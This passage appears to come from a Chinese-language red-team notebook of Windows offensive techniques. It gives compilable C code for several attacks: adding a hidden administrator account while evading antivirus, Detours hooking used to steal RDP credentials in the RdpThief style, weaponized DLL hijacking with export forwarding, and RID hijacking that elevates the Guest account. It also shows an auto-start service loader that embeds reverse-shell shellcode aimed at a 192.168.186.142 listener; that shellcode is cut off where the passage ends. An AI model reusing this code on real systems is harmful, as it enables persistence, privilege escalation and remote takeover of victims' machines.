		return FALSE;
	}
	if (hKey != NULL)
	{
		RegCloseKey(hKey);
		return TRUE;
	}
}

int main()
{


	EnumInstalledSoft((TCHAR*)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall",(TCHAR*)"DisplayName");
	EnumInstalledSoft((TCHAR*)"Software\\Classes\\Installer\\Products", (TCHAR*)"ProductName");
	system("pause");


	return 0;
}

```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MG2fKIRnRLnD3N8D6vr%2F-MG2fVW0GFbk1HoEIqbD%2Fimage.png?alt=media\&token=feedf750-8506-44ae-bbbc-580dbe2ca76a)

## LINKS

{% embed url="<https://docs.microsoft.com/zh-cn/?view=vs-2019>" %}


# 通过API添加Windows用户

## 简介

在渗透测试过程中，如果需要白利用远程桌面等服务，往往我们还需要一个知道密码的windows账户，而这个账户通常直接由net1.exe直接添加(当然也可以直接pass the hash登录rdp，略略略)，而调用这个可执行文件往往会被第三方杀软直接拦截（略略略，defender是微软自己的，不拦合法功能），这样我们就需要想另外的办法添加用户。

## 分析过程

1. 查文档\&google(狗头)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MCI4tt6KTq_xVwZ3Y3-%2F-MCI5E8AGe2XK9Y_KmWN%2Fimage.png?alt=media\&token=86b3b616-d9e7-458a-980d-72ebc2f67b1f)

1. 调用NetUserAdd添加本地用户
2. 调用NetLocalGroupAddMembers将用户添加到组

## 代码

微软文档解释了这个如何通过这个函数来添加操作系统账户，第一个参数servername指定了需要添加用户的主机名，传入NULL则为本地添加，第二个参数决定了第三个参数传入的结构体，通过这个函数我们可以在windows操作系统上添加账户。

```
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  LPCWSTR servername,
  DWORD   level,
  LPBYTE  buf,
  LPDWORD parm_err
);
```

| Value | Meaning                                                                                                                                                                                                                                                                                                                                                                                                                         |
| ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **1** | <p>Specifies information about the user account. The buf parameter points to a <a href="https://docs.microsoft.com/en-us/windows/desktop/api/lmaccess/ns-lmaccess-user_info_1">USER\_INFO\_1</a> structure.</p><p>When you specify this level, the call initializes certain attributes to their default values. For more information, see the following Remarks section.</p>                                                    |
| **2** | Specifies level one information and additional attributes about the user account. The buf parameter points to a [USER\_INFO\_2](https://docs.microsoft.com/en-us/windows/desktop/api/lmaccess/ns-lmaccess-user_info_2) structure.                                                                                                                                                                                               |
| **3** | Specifies level two information and additional attributes about the user account. This level is valid only on servers. The buf parameter points to a [USER\_INFO\_3](https://docs.microsoft.com/en-us/windows/desktop/api/lmaccess/ns-lmaccess-user_info_3) structure. Note that it is recommended that you use [USER\_INFO\_4](https://docs.microsoft.com/en-us/windows/desktop/api/lmaccess/ns-lmaccess-user_info_4) instead. |
| **4** | <p>Specifies level two information and additional attributes about the user account. This level is valid only on servers. The buf parameter points to a <a href="https://docs.microsoft.com/en-us/windows/desktop/api/lmaccess/ns-lmaccess-user_info_4">USER\_INFO\_4</a> structure.</p><p><strong>Windows 2000:</strong>  This level is not supported.</p>                                                                     |

同理将该账户加入administrators组也是使用类似的函数，这里就不贴参数了。

```
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
  LPCWSTR servername,
  LPCWSTR groupname,
  DWORD   level,
  LPBYTE  buf,
  DWORD   totalentries
);
```

### 完整代码

```
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>

int wmain(int argc, wchar_t* argv[])
{
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    if (argc != 3)
    {
        
        fwprintf(stderr, L"Usage:./this.exe <username> <password>\n", argv[0]);
        exit(1);
    }

    ui.usri1_name = argv[1];
    ui.usri1_password = argv[2];
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;

    nStatus = NetUserAdd(NULL,
        dwLevel,
        (LPBYTE)&ui,
        &dwError);

    if (nStatus == NERR_Success)
        fwprintf(stderr, L"User %s has been successfully added\n",argv[1]);

    else
        fprintf(stderr, "A system error has occurred: %d\n", nStatus);

    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = argv[1];

    NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);

    if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS){
        printf("Administrators added Successfully!");
    }
    else {
        printf("Administrators added Failed!");
    }
    return 0;
}
```

## LINKS

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd>" %}


# Detours InLine Hook

## Inline hook 简介

通常hook是指一种改变代码执行流程将其拦截并重定向到另一片代码块的技术，其实现方式有很多种，针对ring3(用户层)，常见的有虚表vitualtables hook，inline hook，iat hook，callbackhook等，本文介绍的inline hook使用修改函数具体代码实现的执行链劫持，在windows 10操作系统中由于ASLR(地址随机化)的缘故，手工实现InLine比较麻烦，这里使用微软的一个轻量级的开源库。

详见该开源库的wiki。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M8DlRZMJg9ip_8ZvAIq%2F-M8DnQRA4fHhDJUv9Ac2%2Fimage.png?alt=media\&token=829c8e3a-9993-4655-a9fc-511269e22815)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M8DlRZMJg9ip_8ZvAIq%2F-M8DnTKKRlTDs9QK8s8b%2Fimage.png?alt=media\&token=0030c237-8458-46ec-96ad-e68a9a4f1726)

## 示例代码

```
#include<Windows.h>
#include<stdio.h>
#include "include/detours.h"
#if _X64
#pragma comment(lib,"lib.X64/detours.lib")
#else
#pragma comment(lib,"lib.X86/detours.lib")
#endif

static int (WINAPI* OldMesssageBoxA)
(
    HWND hWnd,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType
    ) = MessageBoxA;

int WINAPI MyFunction0(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
    return OldMesssageBoxA(NULL, "Hooking your MessageBoxA!", "Warming", MB_OKCANCEL);
}

int main() {
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)OldMesssageBoxA, MyFunction0);
    //DetourDetach(&(PVOID&)OldMesssageBoxA, MyFunction0);
    DetourTransactionCommit();

    MessageBoxA(0, 0, 0, 0);


	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M8DoDrjZA3aARPJUqHW%2F-M8DoLDmfi0scuPTM_wx%2Fimage.png?alt=media\&token=44c135ae-7984-41d4-9f6d-c192f6404577)

## RdpThief应用

前段时间(很久很久以前)，有一篇专门讲通过detours窃取rdp凭证的文章，这里作为案例复现一下。

起一个rdp客户端创建连接。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M8Dof_TbuX8k0W55a0u%2F-M8DtATzV2q8Lc9YwVVN%2Fimage.png?alt=media\&token=6e0628ae-dfa7-41c1-9338-e6dd54e7187d)

搜索用户名。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M8Dof_TbuX8k0W55a0u%2F-M8Du9GxuIC-KpzKQO2N%2Fimage.png?alt=media\&token=a0e4c6b6-e3e9-48bd-8ddb-0b68b245525b)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M8Dof_TbuX8k0W55a0u%2F-M8DuK44IO0GJ76cVPy6%2Fimage.png?alt=media\&token=f4499a71-5c32-4ab4-a055-bf7b838f167c)

密码也是同样，这里密码通过不能通过字符串搜索直接出结果，但根据查看函数调用可知具体密码处于CryptProtectMemory函数第一个参数所指向的内存区域偏移+4的位置。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M8Dof_TbuX8k0W55a0u%2F-M8Dum7Oi22cXaYzpK6w%2Fimage.png?alt=media\&token=7b18837d-effc-4d74-96b4-2e53ff0b9956)

具体ip地址也是一样。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M8Dof_TbuX8k0W55a0u%2F-M8DvaX7IN_EtjQS-Zbu%2Fimage.png?alt=media\&token=0bd68881-ba7e-4bba-9838-3762a59e5590)

github:<https://github.com/0x09AL/RdpThief.git>

## LINKS

{% embed url="<https://www.cnblogs.com/M-Anonymous/p/9766343.html>" %}

{% embed url="<https://github.com/microsoft/Detours/wiki/OverviewInterception>" %}

{% embed url="<https://blog.csdn.net/systemino/article/details/103083541>" %}


# DLL劫持

dll hijack

## DLL简介

> 在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件，放置于系统中。当我们执行某一个程序时，相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件，一个DLL文件也可能被不同的应用程序使用，这样的DLL文件被称为共享DLL文件。

为了防止单个应用程序过于庞大和增加程序可维护性，windows系统使用dll实现了程序的模块化，这样能让单个程序或模块更加易于维护，同时由于应用程序普遍存在功能性的重复，这些功能模块(dll)又能被不同的应用程序复用，这样就显著减小的程序的体积和占用的内存，同时便于管理。

## DLL的加载顺序

如果程序需要加载一个相对路径的dll文件，它将从当前目录下尝试查找，如果找不到，则按照如下顺序寻找：

> #### windows xp sp2之前
>
> Windows查找DLL的目录以及对应的顺序：
>
> 1\. 进程对应的应用程序所在目录；
>
> 2\. 当前目录（Current Directory）；
>
> 3\. 系统目录（通过 GetSystemDirectory 获取）；
>
> 4\. 16位系统目录；
>
> 5\. Windows目录（通过 GetWindowsDirectory 获取）；
>
> 6\. PATH环境变量中的各个目录；
>
> 例如：对于文件系统，如doc文档打开会被应用程序office打开，而office运行的时候会加载系统的一个dll文件，如果我们将用恶意的dll来替换系统的dll文件，就是将DLL和doc文档放在一起，运行的时候就会在当前目录中找到DLL，从而优先系统目录下的DLL而被执行。
>
> #### windows xp sp2之后
>
> Windows查找DLL的目录以及对应的顺序（SafeDllSearchMode 默认会被开启）：
>
> 默认注册表为：HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode，其键值为1
>
> 1\. 进程对应的应用程序所在目录（可理解为程序安装目录比如C:\ProgramFiles\uTorrent）
>
> 2\. 系统目录（即%windir%system32）；
>
> 3\. 16位系统目录（即%windir%system）；
>
> 4\. Windows目录（即%windir%）；
>
> 5\. 当前目录（运行的某个文件所在目录，比如C:\Documents and Settings\Administrator\Desktop\test）；
>
> 6\. PATH环境变量中的各个目录；
>
> #### windows 7 以上版本
>
> 系统没有了SafeDllSearchMode 而采用KnownDLLs，那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用，而只能从系统目录即SYSTEM32目录下调用，其注册表位置：
>
> HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
>
> 那么最终Windows2003以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径，之后，应用程序就将DLL载入了自己的内存空间，执行相应的函数功能。
>
> * 默认情况下，如果软件安装在c盘根目录，而不是c:\Program Files，那经过身份验证的用户具有该目录的写权限，另外，perl，python，ruby等软件通常都添加到path变量中。那攻击者可以在当前目录中编写恶意DLL，只要重新运行exe程序就会中招。
> * SafeDllSearchMode + KnownDLLs二者结合可用来防范dll劫持，但是如果调用"不常见"的dll，也就是并未出现在KnownDLLs的列表中，那么无论SafeDllSearchMode是否开启，dll搜索的第一顺序均为程序的当前目录，这里就存在一个DLL劫持漏洞（在程序同级目录下预先放置一个同名dll，在进程启动的过程中会优先加载，实现劫持。)

在这里我们写个demo简单验证下dll的加载次序，使用如下代码和processmon进行监控：

```
#include <WINDOWS.H>

int main() {
	LoadLibraryA("test.dll");
	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5mKKhCP1PBOPFguu9E%2F-M5mL5qsd_ZCcu3oaphb%2Fimage.png?alt=media\&token=dbfa17e3-ad9c-4ec4-9a75-ed65fe80139d)

符合我们的预期，接下来我们再测试一下KnownDlls内的dll加载次序:

```
#include <WINDOWS.H>

int main() {
	HMODULE hModule= LoadLibraryA("user32.dll");
	FreeLibrary(hModule);
	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5mKKhCP1PBOPFguu9E%2F-M5mMFHrzF4zydshdqMR%2Fimage.png?alt=media\&token=01acf73a-d89d-48d5-b317-185d4a34a713)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5mKKhCP1PBOPFguu9E%2F-M5mMPfUNiq34dbcA_KX%2Fimage.png?alt=media\&token=46d27144-8aa4-4b51-8ad2-790193723ec1)

同样符合我们的预期，那我们猜测，是否存在这样一些没有保存在KnownDlls同时又存在于dll最先加载次序之后的dll模块呢，如果我们能找到这样的模块，同时又对较高顺位的加载目录有写入权限，那我们就能控制这个程序加载的模块代码，这种技术被称之为dll劫持。(虽然不是高深的技术，狗头)。

## DLL文件结构

编译后的DLL文件遵循与EXE相同的PE结构，但在源代码编写上存在显著差别，通常dll有一个可选的dllmain函数，这个函数会在dll载入后的某些情况下被进程自身所调用。

代码如下:

```
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
  
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        printf("Process attach. \n");
        break;
        case DLL_PROCESS_DETACH:
        printf("Process detach. \n");
        break;
        case DLL_THREAD_ATTACH:
        printf("Thread attach. \n");
        break;
        case DLL_THREAD_DETACH:
        printf("Thread detach. \n");
        break;
    }
return (TRUE);
}
```

通常dllmain函数会被用来初始化环境、引用计数和清理环境，但同时也可以被写入恶意代码。

## 劫持实验

预想一种实验:

某程序需要使用一个system32下的dll，同时该dll并未注册为KnownDlls，这时我们在程序当前目录写入一个同名dll。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5mS8_mbYcs5ZC3V6PY%2F-M5mT1LHIEZZlx0ul5W9%2Fimage.png?alt=media\&token=bf92101a-510a-42c9-a537-e72db0f56f3e)

编写dll放入system32，运行程序。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5mS8_mbYcs5ZC3V6PY%2F-M5mTUjAgo2SO3eytGkX%2Fimage.png?alt=media\&token=c1e421de-ed1a-4de6-bebf-a29f819e3ea2)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5mS8_mbYcs5ZC3V6PY%2F-M5mThFnxXP52m8XreNc%2Fimage.png?alt=media\&token=aef6f4e8-42bc-465a-9619-38cfb50a1e3e)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5mS8_mbYcs5ZC3V6PY%2F-M5mUFjaEOIjjnuWwAq5%2Fimage.png?alt=media\&token=69671cf9-4966-4ff4-99b0-5face64eb872)

这时我们在程序所在目录放置恶意dll。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5mS8_mbYcs5ZC3V6PY%2F-M5mUYJDJ5X5iBJwChcU%2Fimage.png?alt=media\&token=2d78b578-1fc3-44cd-9c16-4d18438566ee)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5mS8_mbYcs5ZC3V6PY%2F-M5mUfAuVtp137hKLTAF%2Fimage.png?alt=media\&token=52ec6719-2562-4143-8e1e-ccc4f8b110e6)

恶意dll先于合法dll加载。

## 武器化

> 另外，每个DLL文件中都包含有一个导出函数表也叫输出表（存在于PE的.edata节中）。使用一些PE文件查看工具如LoadPE，就可以查看导出函数的符号名即函数名称和函数在导出函数表中的标识号。
>
> 应用程序导入函数与DLL文件中的导出函数进行链接有两种方式：隐式链接（load-time dynamic linking）也叫静态调用和显式链接（run-time dynamic linking）也叫动态调用。隐式链接方式一般用于开发和调试，而显式链接方式就是我们常见的使用LoadLibary或者LoadLibraryEx函数（注：涉及到模块加载的函数有很多）来加载DLL去调用相应的导出函数。调用LoadLibrary或者LoadLibraryEx函数时可以使用DLL的相对路径也可以使用绝对路径，但是很多情况下，开发人员都是使用了相对路径来进行DLL的加载。那么，在这种情况下，Windows系统会按照特定的顺序去搜索一些目录，来确定DLL的完整路径。

如果我们编写一个单纯只包含dllmain函数的dll，虽然写在dllmain函数内的代码仍旧能被执行，但是当程序实际使用到dll中的导出函数时，我们编写的dll并未编写这个函数，这样往往会使程序产生报错或崩溃，这样并不利于我们在实战中使用，所以在编写一个武器化的dll时，我们通常还要让dll的导出表与原dll一致，同时对函数进行向原dll的转发，这样我们就能在用户五察觉的情况下运行自定义的代码。

通常这样的恶意dll有两种编写方式:

* 直接转发函数:

```
#pragma comment(linker, "/EXPORT:MessageBoxA=OLD_DLL.MessageBoxA")
```

* 动态调用:

```
//导出
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=_DG_GetFileVersionInfoA,@1")

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		// 绝对路径加载VERSION.dll
		LoadLibrary("C:\\Windows\\System32\\VERSION.dll");

		MessageBox(NULL, "调用函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING);
		break;
	}
	case DLL_THREAD_ATTACH:
	{
		break;
	}
	case DLL_THREAD_DETACH:
	{
		// 卸载VERSION.dll
		HMODULE hDll = GetModuleHandle("C:\\Windows\\System32\\VERSION.dll");
		if (hDll)
		{
			FreeLibrary(hDll);
		}
		break;
	}
	case DLL_PROCESS_DETACH:
	{
		break;
	}
		break;
	}
	return TRUE;
}
PVOID GetFunctionAddress(char* pszFunctionName)
{
	PVOID pAddr = NULL;
	HMODULE hDll = NULL;
	char szDllPath[MAX_PATH] = "C:\\Windows\\System32\\VERSION.dll";

	hDll = LoadLibrary(szDllPath);
	if (NULL == hDll)
	{
		return NULL;
	}
	pAddr = GetProcAddress(hDll, pszFunctionName);
	FreeLibrary(hDll);

	return pAddr;
}

```

## LINKS

{% embed url="<https://www.cnblogs.com/bmjoker/p/11031238.html>" %}

{% embed url="<https://www.cnblogs.com/swyft/articles/5580342.html>" %}


# RID劫持

RID-hijack

## RID Hijack简介

在windows系统内，使用rid区分用户组和用户账户，rid是安全标识符sid的一部分，每创建一个组或一个用户，都会往后递增一位，通常administrator的rid始终为500，而标准用户通常以1001开始。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M63-LO7aa8EqTsyi6af%2F-M63-RiOT68hqrLKWQhc%2Fimage.png?alt=media\&token=c35dcc09-c83e-4320-85de-925a62dd8ed3)

&#x20;[Sebastian Castr](https://twitter.com/r4wd3r)发现可以通过修改注册表来劫持有效账户的RID，使guest成为管理员，同时进行活动的话会以原本的身份记录在日志内。

## 手工操作

windows内置访客账户guest的rid信息储存在一下键值对内。

```
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
```

![0x1f5转换成十进制501](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M63-aJkdgKnhzZwlbLY%2F-M630a2HEJFhQlSOVzpU%2Fimage.png?alt=media\&token=ac14f420-11ad-4344-ab40-80ded6b2cb87)

也可以通过wmic查询。

```
wmic useraccount where (name='Guest') get name,sid
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M63-aJkdgKnhzZwlbLY%2F-M630ra6dfETdbL_yuId%2Fimage.png?alt=media\&token=b8460b9b-7b96-4528-8618-9628d37c9d86)

通过RID在如下键值对内寻找账户的相关信息。

```
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
```

找到如下注册表项的键值对“F",此键值对内存储着标识账户RID和是否开启的数值。

PS:需要system权限。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M63-aJkdgKnhzZwlbLY%2F-M6312nHLhjhN0utshPD%2Fimage.png?alt=media\&token=6916f87e-b0bf-4fe5-9a10-50620267731f)

在"F"键值对偏移0x30的位置存储着RID，修改为0xF401(500)即可劫持RID。

偏移0x38确定账户是否启用(0X1502->关闭,0x1402->启用)。

更改这些值将启用启用来宾帐户（有时情况下一部分），并劫持提升的RID（本地管理员）。来宾帐户将具有管理员权限，但是该帐户仍然不会出现在本地管理员组中。

## 代码实现

由于powershell和bat的脚本在互联网上可以轻易找到，这里只给出c的版本。

在metasploit和empire内也有比较成熟的模块。

```
#include <Windows.h>
#include <stdio.h>


int  main()
{
	HKEY hKey = NULL;
	PCHAR KeyAddr = NULL;
	DWORD KeySize;
	DWORD KeyType;
	BYTE Buffer[0x50] = { 0 };
	KeyAddr = (PCHAR)"SAM\\SAM\\Domains\\Account\\Users\\000001F5";

	RegOpenKeyExA(HKEY_LOCAL_MACHINE, KeyAddr, 0, KEY_ALL_ACCESS, &hKey);
	RegQueryValueExA(hKey, "F", NULL, &KeyType, (LPBYTE)&Buffer, &KeySize);

	Buffer[0x30] = (BYTE)0xf4; //hijack rid
	Buffer[0x38] = (BYTE)0x14; //enable guest
	
	RegSetValueExA(hKey, "F",NULL, KeyType, Buffer, KeySize);
	RegCloseKey(hKey);
	return 0;
}

```

## LINKS

{% embed url="<https://pentestlab.blog/category/red-team/persistence/page/1/>" %}

{% embed url="<https://xz.aliyun.com/t/2998>" %}


# 自启动服务

通常windows服务运行在session 0，隔断了系统服务和桌面系统，各个session之间相互独立，不能交互和通信。

> 服务控制管理器（SCM：`Services Control Manager`）是一个管理系统所有服务的进程。当 SCM 启动某个服务时，它等待某个进程的主线程来调用 StartServiceCtrlDispatcher 函数。将分派表传递给 StartServiceCtrlDispatcher。这将把调用进程的主线程转换为控制分派器。该分派器启动一个新线程，该线程运行分派表中每个服务的 ServiceMain 函数分派器还监视程序中所有服务的执行情况。然后分派器将控制请求从 SCM 传给服务。

系统进程自启动是通过windows系统提供的api创建系统服务，并设置服务为自启动类型实现的，创建系统服务的时候要求具有管理员权限，作为系统服务启动的程序需要存在一个额外的服务入口点ServiceMain，ServiceMain应首先为服务向控制器注册，ServiceMain运行在一个单独的线程内，这个线程是由控制分派器创建的 ，通常需要把不需要用户交互的操作放在这里面，如果需要与用户交互，可以通过WTS系列函数来实现。

## 创建流程

* 加载器:

1. 获取SCManager句柄
2. 通过SCManager对服务进行增删查改

* 服务执行体

1. 连接到SCM
2. 注册服务控制处理器&#x20;
3. 在控制处理器中对服务控制进行处理（通过SetServiceStatus反馈服务状态和设置接受的控制）。

## 大致原理

服务控制管理器进程services.exe会在系统初始化时遍历名为HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services的注册表项，这个注册表项记录着所有注册的windows服务的实现文件(系统默认服务通常是一个dll)、启动权限。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MINCy0EZbNJbOw8Dvtn%2F-MINEDr87kpHrO4UtE02%2Fimage.png?alt=media\&token=3448eda4-e7ab-4d79-9826-faa10591255e)

遍历后将所有设置为auto-start的服务启动，通常表现形式为每个服务带起一个名为svchost.exe进程，这个进程是一个共享服务进程，具体服务线程的代码则是该进程额外载入的注册表内记录的dll文件。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MINCy0EZbNJbOw8Dvtn%2F-MINFFi2ycXBwqRNwGjV%2Fimage.png?alt=media\&token=20c19969-44d0-48bf-9dee-c988b0725216)

## 代码实现

serviceloader.cpp

```
#include <Windows.h>
#include <Shlwapi.h>
#include <stdio.h>
#pragma comment(lib, "Shlwapi.lib")


// 0 加载服务    1 启动服务    2 停止服务    3 删除服务
BOOL SystemServiceOperate(char* lpszDriverPath, int iOperateType)
{
	BOOL bRet = TRUE;
	char szName[MAX_PATH] = { 0 };

	lstrcpy(szName, lpszDriverPath);
	// 过滤掉文件目录，获取文件名
	PathStripPath(szName);

	SC_HANDLE shSCManager = NULL, shService = NULL;
	SERVICE_STATUS sStatus;
	DWORD dwErrorCode = 0;

	// 打开服务控制管理器数据库
	shSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

	if (0 != iOperateType)
	{
		// 打开一个已经存在的服务
		shService = OpenService(shSCManager, szName, SERVICE_ALL_ACCESS);
		if (!shService)
		{
			CloseServiceHandle(shSCManager);
			shSCManager = NULL;
			return FALSE;
		}
	}

	switch (iOperateType)
	{
	case 0:
	{
		// 创建服务
		// SERVICE_AUTO_START   随系统自动启动
		// SERVICE_DEMAND_START 手动启动
		shService = CreateService(shSCManager, szName, szName,
			SERVICE_ALL_ACCESS,
			SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
			SERVICE_AUTO_START,
			SERVICE_ERROR_NORMAL,
			lpszDriverPath, NULL, NULL, NULL, NULL, NULL);
		break;
	}
	case 1:
	{
		// 启动服务
		StartService(shService, 0, NULL);
		break;
	}
	case 2:
	{
		// 停止服务
		ControlService(shService, SERVICE_CONTROL_STOP, &sStatus);
		break;
	}
	case 3:
	{
		// 删除服务
		DeleteService(shService);
		break;
	}
	default:
		break;
	}
	// 关闭句柄

	CloseServiceHandle(shService);
	CloseServiceHandle(shSCManager);

	return TRUE;
}

int main(int argc, TCHAR* argv[])
{


	BOOL bRet = FALSE;
	char szFileName[MAX_PATH] = "C:\\Users\\Black Sheep\\source\\repos\\SimpleService\\Debug\\TestService.exe";

	bRet = SystemServiceOperate(szFileName, 0);
	if (FALSE == bRet)
	{
		printf("Create Error!\n");
	}
	bRet = SystemServiceOperate(szFileName, 1);
	if (FALSE == bRet)
	{
		printf("Start Error!\n");
	}
	printf("Create and Start OK.\n");

	system("pause");

	// 停止并删除服务
	bRet = SystemServiceOperate(szFileName, 2);
	if (FALSE == bRet)
	{
		printf("Stop Error!\n");
	}
	bRet = SystemServiceOperate(szFileName, 3);
	if (FALSE == bRet)
	{
		printf("Delete Error!\n");
	}
	printf("Stop and Delete OK.\n");

	system("pause");
}

```

服务:

```
// ServiceTest.cpp : 定义控制台应用程序的入口点。
//
// ServiceTest.cpp : 定义控制台应用程序的入口点。
//

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xba\x8e"
"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
